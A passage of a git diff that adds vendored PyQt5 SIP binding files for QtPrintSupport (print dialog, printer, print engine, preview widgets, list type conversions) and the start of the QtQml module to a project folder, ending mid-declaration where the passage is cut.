+#include +%End + +public: + QPrintDialog(QPrinter *printer, QWidget *parent /TransferThis/ = 0); + explicit QPrintDialog(QWidget *parent /TransferThis/ = 0); + virtual ~QPrintDialog(); + virtual int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%MethodCode + // Transfer ownership back to Python (a modal dialog will probably have the + // main window as it's parent). This means the Qt dialog will be deleted when + // the Python wrapper is garbage collected. Although this is a little + // inconsistent, it saves having to code it explicitly to avoid the memory + // leak. + sipTransferBack(sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipRes = sipSelfWasArg ? sipCpp->QPrintDialog::exec() + : sipCpp->exec(); + Py_END_ALLOW_THREADS +%End + +%If (Py_v3) + virtual int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%MethodCode + // Transfer ownership back to Python (a modal dialog will probably have the + // main window as it's parent). This means the Qt dialog will be deleted when + // the Python wrapper is garbage collected. Although this is a little + // inconsistent, it saves having to code it explicitly to avoid the memory + // leak. + sipTransferBack(sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipRes = sipSelfWasArg ? sipCpp->QPrintDialog::exec() + : sipCpp->exec(); + Py_END_ALLOW_THREADS +%End + +%End +%If (WS_X11) + virtual void accept(); +%End + virtual void done(int result); + void setOption(QAbstractPrintDialog::PrintDialogOption option, bool on = true); + bool testOption(QAbstractPrintDialog::PrintDialogOption option) const; + void setOptions(QAbstractPrintDialog::PrintDialogOptions options); + QAbstractPrintDialog::PrintDialogOptions options() const; + virtual void setVisible(bool visible); + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtprintsupport_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + +signals: + void accepted(); + void accepted(QPrinter *printer); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintengine.sip new file mode 100644 index 00000000..246a5c52 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintengine.sip @@ -0,0 +1,86 @@ +// qprintengine.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_Printer) + +class QPrintEngine +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QPrintEngine(); + + enum PrintEnginePropertyKey + { + PPK_CollateCopies, + PPK_ColorMode, + PPK_Creator, + PPK_DocumentName, + PPK_FullPage, + PPK_NumberOfCopies, + PPK_Orientation, + PPK_OutputFileName, + PPK_PageOrder, + PPK_PageRect, + PPK_PageSize, + PPK_PaperRect, + PPK_PaperSource, + PPK_PrinterName, + PPK_PrinterProgram, + PPK_Resolution, + PPK_SelectionOption, + PPK_SupportedResolutions, + PPK_WindowsPageSize, + PPK_FontEmbedding, + PPK_Duplex, + PPK_PaperSources, + PPK_CustomPaperSize, + PPK_PageMargins, + PPK_PaperSize, + PPK_CopyCount, + PPK_SupportsMultipleCopies, +%If (Qt_5_1_0 -) + PPK_PaperName, +%End +%If (Qt_5_3_0 -) + PPK_QPageSize, +%End +%If (Qt_5_3_0 -) + PPK_QPageMargins, +%End +%If (Qt_5_3_0 -) + PPK_QPageLayout, +%End + PPK_CustomBase, + }; + + virtual void setProperty(QPrintEngine::PrintEnginePropertyKey key, const QVariant &value) = 0; + virtual QVariant property(QPrintEngine::PrintEnginePropertyKey key) const = 0; + virtual bool newPage() = 0; + virtual bool abort() = 0; + virtual int metric(QPaintDevice::PaintDeviceMetric) const = 0; + virtual QPrinter::PrinterState printerState() const = 0; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprinter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprinter.sip new file mode 100644 index 00000000..8ebea0e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprinter.sip @@ -0,0 +1,216 @@ +// qprinter.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_Printer) + +class QPrinter : QPagedPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + enum PrinterMode + { + ScreenResolution, + PrinterResolution, + HighResolution, + }; + + explicit QPrinter(QPrinter::PrinterMode mode = QPrinter::ScreenResolution); + QPrinter(const QPrinterInfo &printer, QPrinter::PrinterMode mode = QPrinter::ScreenResolution); + virtual ~QPrinter(); + + enum Orientation + { + Portrait, + Landscape, + }; + + typedef QPagedPaintDevice::PageSize PaperSize; + + enum PageOrder + { + FirstPageFirst, + LastPageFirst, + }; + + enum ColorMode + { + GrayScale, + Color, + }; + + enum PaperSource + { + OnlyOne, + Lower, + Middle, + Manual, + Envelope, + EnvelopeManual, + Auto, + Tractor, + SmallFormat, + LargeFormat, + LargeCapacity, + Cassette, + FormSource, + MaxPageSource, +%If (Qt_5_3_0 -) + Upper, +%End +%If (Qt_5_3_0 -) + CustomSource, +%End +%If (Qt_5_3_0 -) + LastPaperSource, +%End + }; + + enum PrinterState + { + Idle, + Active, + Aborted, + Error, + }; + + enum OutputFormat + { + NativeFormat, + PdfFormat, + }; + + enum PrintRange + { + AllPages, + Selection, + PageRange, + CurrentPage, + }; + + enum Unit + { + Millimeter, + Point, + Inch, + Pica, + Didot, + Cicero, + DevicePixel, + }; + + enum DuplexMode + { + DuplexNone, + DuplexAuto, + DuplexLongSide, + DuplexShortSide, + }; + + void setOutputFormat(QPrinter::OutputFormat format); + QPrinter::OutputFormat outputFormat() const; + void setPrinterName(const QString &); + QString printerName() const; + bool isValid() const; + void setOutputFileName(const QString &); + QString outputFileName() const; + void setPrintProgram(const QString &); + QString printProgram() const; + void setDocName(const QString &); + QString docName() const; + void setCreator(const QString &); + QString creator() const; + void setOrientation(QPrinter::Orientation); + QPrinter::Orientation orientation() const; + virtual void setPageSizeMM(const QSizeF &size); + void setPaperSize(QPrinter::PaperSize); + QPrinter::PaperSize paperSize() const; + void setPaperSize(const QSizeF &paperSize, QPrinter::Unit unit); + QSizeF paperSize(QPrinter::Unit unit) const; + void setPageOrder(QPrinter::PageOrder); + QPrinter::PageOrder pageOrder() const; + void setResolution(int); + int resolution() const; + void setColorMode(QPrinter::ColorMode); + QPrinter::ColorMode colorMode() const; + void setCollateCopies(bool collate); + bool collateCopies() const; + void setFullPage(bool); + bool fullPage() const; + void setCopyCount(int); + int copyCount() const; + bool supportsMultipleCopies() const; + void setPaperSource(QPrinter::PaperSource); + QPrinter::PaperSource paperSource() const; + void setDuplex(QPrinter::DuplexMode duplex); + QPrinter::DuplexMode duplex() const; + QList supportedResolutions() const; + void setFontEmbeddingEnabled(bool enable); + bool fontEmbeddingEnabled() const; + void setDoubleSidedPrinting(bool enable); + bool doubleSidedPrinting() const; + QRect paperRect() const; + QRect pageRect() const; + QRectF paperRect(QPrinter::Unit) const; + QRectF pageRect(QPrinter::Unit) const; +%If (WS_X11 || WS_MACX) + QString printerSelectionOption() const; +%End +%If (WS_X11 || WS_MACX) + void setPrinterSelectionOption(const QString &); +%End + virtual bool newPage(); + bool abort(); + QPrinter::PrinterState printerState() const; + virtual QPaintEngine *paintEngine() const; + QPrintEngine *printEngine() const; + void setFromTo(int fromPage, int toPage); + int fromPage() const; + int toPage() const; + void setPrintRange(QPrinter::PrintRange range); + QPrinter::PrintRange printRange() const; + virtual void setMargins(const QPagedPaintDevice::Margins &m); + void setPageMargins(qreal left, qreal top, qreal right, qreal bottom, QPrinter::Unit unit); + void getPageMargins(qreal *left, qreal *top, qreal *right, qreal *bottom, QPrinter::Unit unit) const; + +protected: + virtual int metric(QPaintDevice::PaintDeviceMetric) const; + void setEngines(QPrintEngine *printEngine, QPaintEngine *paintEngine); + +public: +%If (Qt_5_1_0 -) + void setPaperName(const QString &paperName); +%End +%If (Qt_5_1_0 -) + QString paperName() const; +%End +%If (Qt_5_10_0 -) + void setPdfVersion(QPagedPaintDevice::PdfVersion version); +%End +%If (Qt_5_10_0 -) + QPagedPaintDevice::PdfVersion pdfVersion() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprinterinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprinterinfo.sip new file mode 100644 index 00000000..ef0b6251 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprinterinfo.sip @@ -0,0 +1,93 @@ +// qprinterinfo.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_Printer) + +class QPrinterInfo +{ +%TypeHeaderCode +#include +%End + +public: + QPrinterInfo(); + QPrinterInfo(const QPrinterInfo &src); + explicit QPrinterInfo(const QPrinter &printer); + ~QPrinterInfo(); + QString printerName() const; + bool isNull() const; + bool isDefault() const; + QList supportedPaperSizes() const; +%If (Qt_5_1_0 -) + QList> supportedSizesWithNames() const; +%End + static QList availablePrinters(); + static QPrinterInfo defaultPrinter(); + QString description() const; + QString location() const; + QString makeAndModel() const; + static QPrinterInfo printerInfo(const QString &printerName); +%If (Qt_5_3_0 -) + bool isRemote() const; +%End +%If (Qt_5_3_0 -) + QPrinter::PrinterState state() const; +%End +%If (Qt_5_3_0 -) + QList supportedPageSizes() const; +%End +%If (Qt_5_3_0 -) + QPageSize defaultPageSize() const; +%End +%If (Qt_5_3_0 -) + bool supportsCustomPageSizes() const; +%End +%If (Qt_5_3_0 -) + QPageSize minimumPhysicalPageSize() const; +%End +%If (Qt_5_3_0 -) + QPageSize maximumPhysicalPageSize() const; +%End +%If (Qt_5_3_0 -) + QList supportedResolutions() const; +%End +%If (Qt_5_3_0 -) + static QStringList availablePrinterNames(); +%End +%If (Qt_5_3_0 -) + static QString defaultPrinterName(); +%End +%If (Qt_5_4_0 -) + QPrinter::DuplexMode defaultDuplexMode() const; +%End +%If (Qt_5_4_0 -) + QList supportedDuplexModes() const; +%End +%If (Qt_5_13_0 -) + QPrinter::ColorMode defaultColorMode() const; +%End +%If (Qt_5_13_0 -) + QList supportedColorModes() const; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintpreviewdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintpreviewdialog.sip new file mode 100644 index 00000000..4ea72f0b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintpreviewdialog.sip @@ -0,0 +1,59 @@ +// qprintpreviewdialog.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_PrintPreviewDialog) + +class QPrintPreviewDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + QPrintPreviewDialog(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + QPrintPreviewDialog(QPrinter *printer, QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QPrintPreviewDialog(); + virtual void setVisible(bool visible); + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtprintsupport_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + QPrinter *printer(); + virtual void done(int result); + +signals: + void paintRequested(QPrinter *printer); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintpreviewwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintpreviewwidget.sip new file mode 100644 index 00000000..ec3e0617 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qprintpreviewwidget.sip @@ -0,0 +1,85 @@ +// qprintpreviewwidget.sip generated by MetaSIP +// +// This file is part of the QtPrintSupport Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_PrintPreviewWidget) + +class QPrintPreviewWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + enum ViewMode + { + SinglePageView, + FacingPagesView, + AllPagesView, + }; + + enum ZoomMode + { + CustomZoom, + FitToWidth, + FitInView, + }; + + QPrintPreviewWidget(QPrinter *printer, QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + QPrintPreviewWidget(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QPrintPreviewWidget(); + qreal zoomFactor() const; + QPrinter::Orientation orientation() const; + QPrintPreviewWidget::ViewMode viewMode() const; + QPrintPreviewWidget::ZoomMode zoomMode() const; + int currentPage() const; + +public slots: + virtual void setVisible(bool visible); + void print() /PyName=print_/; +%If (Py_v3) + void print(); +%End + void zoomIn(qreal factor = 1.1); + void zoomOut(qreal factor = 1.1); + void setZoomFactor(qreal zoomFactor); + void setOrientation(QPrinter::Orientation orientation); + void setViewMode(QPrintPreviewWidget::ViewMode viewMode); + void setZoomMode(QPrintPreviewWidget::ZoomMode zoomMode); + void setCurrentPage(int pageNumber); + void fitToWidth(); + void fitInView(); + void setLandscapeOrientation(); + void setPortraitOrientation(); + void setSinglePageViewMode(); + void setFacingPagesViewMode(); + void setAllPagesViewMode(); + void updatePreview(); + +signals: + void paintRequested(QPrinter *printer); + void previewChanged(); + +public: + int pageCount() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qpyprintsupport_qlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qpyprintsupport_qlist.sip new file mode 100644 index 00000000..b519bcdf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtPrintSupport/qpyprintsupport_qlist.sip @@ -0,0 +1,354 @@ +// This is the SIP interface definition for the QList based mapped types +// specific to the QtPrintSupport module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_Printer) + +%MappedType QList + /TypeHintIn="Iterable[QPagedPaintDevice.PageSize]", + TypeHintOut="List[QPagedPaintDevice.PageSize]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QPagedPaintDevice_PageSize); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QPagedPaintDevice_PageSize); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QPagedPaintDevice.PageSize' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + +%End + + +%If (PyQt_Printer) + +%If (Qt_5_4_0 -) + +%MappedType QList + /TypeHintIn="Iterable[QPrinter.DuplexMode]", + TypeHintOut="List[QPrinter.DuplexMode]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QPrinter_DuplexMode); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QPrinter_DuplexMode); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QPrinter.DuplexMode' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + +%End + +%End + + +%If (PyQt_Printer) + +%If (Qt_5_13_0 -) + +%MappedType QList + /TypeHintIn="Iterable[QPrinter.ColorMode]", + TypeHintOut="List[QPrinter.ColorMode]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QPrinter_ColorMode); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_QPrinter_ColorMode); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QPrinter.ColorMode' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + +%End + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/QtQml.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/QtQml.toml new file mode 100644 index 00000000..b42c2808 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/QtQml.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtQml. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/QtQmlmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/QtQmlmod.sip new file mode 100644 index 00000000..cf0a060c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/QtQmlmod.sip @@ -0,0 +1,72 @@ +// QtQmlmod.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtQml, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtNetwork/QtNetworkmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qqml.sip +%Include qjsengine.sip +%Include qjsvalue.sip +%Include qjsvalueiterator.sip +%Include qqmlabstracturlinterceptor.sip +%Include qqmlapplicationengine.sip +%Include qqmlcomponent.sip +%Include qqmlcontext.sip +%Include qqmlengine.sip +%Include qqmlerror.sip +%Include qqmlexpression.sip +%Include qqmlextensionplugin.sip +%Include qqmlfileselector.sip +%Include qqmlincubator.sip +%Include qqmllist.sip +%Include qqmlnetworkaccessmanagerfactory.sip +%Include qqmlparserstatus.sip +%Include qqmlproperty.sip +%Include qqmlpropertymap.sip +%Include qqmlpropertyvaluesource.sip +%Include qqmlscriptstring.sip +%Include qmlattachedpropertiesobject.sip +%Include qmlregistertype.sip +%Include qpyqmllistproperty.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsengine.sip new file mode 100644 index 00000000..4c08ce9b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQml/qjsengine.sip @@ -0,0 +1,159 @@ +// qjsengine.sip generated by MetaSIP +// +// This file is part of the QtQml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QJSEngine : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QJSEngine, &sipType_QJSEngine, 8, 1}, + {sipName_QQmlComponent, &sipType_QQmlComponent, -1, 2}, + {sipName_QQmlContext, &sipType_QQmlContext, -1, 3}, + #if QT_VERSION >= 0x050f00 + {sipName_QQmlEngineExtensionPlugin, &sipType_QQmlEngineExtensionPlugin, -1, 4}, + #else + {0, 0, -1, 4}, + #endif + {sipName_QQmlExpression, &sipType_QQmlExpression, -1, 5}, + {sipName_QQmlExtensionPlugin, &sipType_QQmlExtensionPlugin, -1, 6}, + #if QT_VERSION >= 0x050200 + {sipName_QQmlFileSelector, &sipType_QQmlFileSelector, -1, 7}, + #else + {0, 0, -1, 7}, + #endif + {sipName_QQmlPropertyMap, &sipType_QQmlPropertyMap, -1, -1}, + {sipName_QQmlEngine, &sipType_QQmlEngine, 9, -1}, + #if QT_VERSION >= 0x050100 + {sipName_QQmlApplicationEngine, &sipType_QQmlApplicationEngine, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QJSEngine(); + explicit QJSEngine(QObject *parent /TransferThis/); + virtual ~QJSEngine(); + QJSValue globalObject() const; + QJSValue evaluate(const QString &program, const QString &fileName = QString(), int lineNumber = 1) /ReleaseGIL/; + QJSValue newObject(); + QJSValue newArray(uint length = 0); + QJSValue newQObject(QObject *object /Transfer/); + void collectGarbage(); +%If (Qt_5_4_0 -) + void installTranslatorFunctions(const QJSValue &object = QJSValue()); +%End +%If (Qt_5_6_0 -) + + enum Extension + { + TranslationExtension, + ConsoleExtension, + GarbageCollectionExtension, + AllExtensions, + }; + +%End +%If (Qt_5_6_0 -) + typedef QFlags Extensions; +%End +%If (Qt_5_6_0 -) + void installExtensions(QJSEngine::Extensions extensions, const QJSValue &object = QJSValue()); +%End +%If (Qt_5_8_0 -) + QJSValue 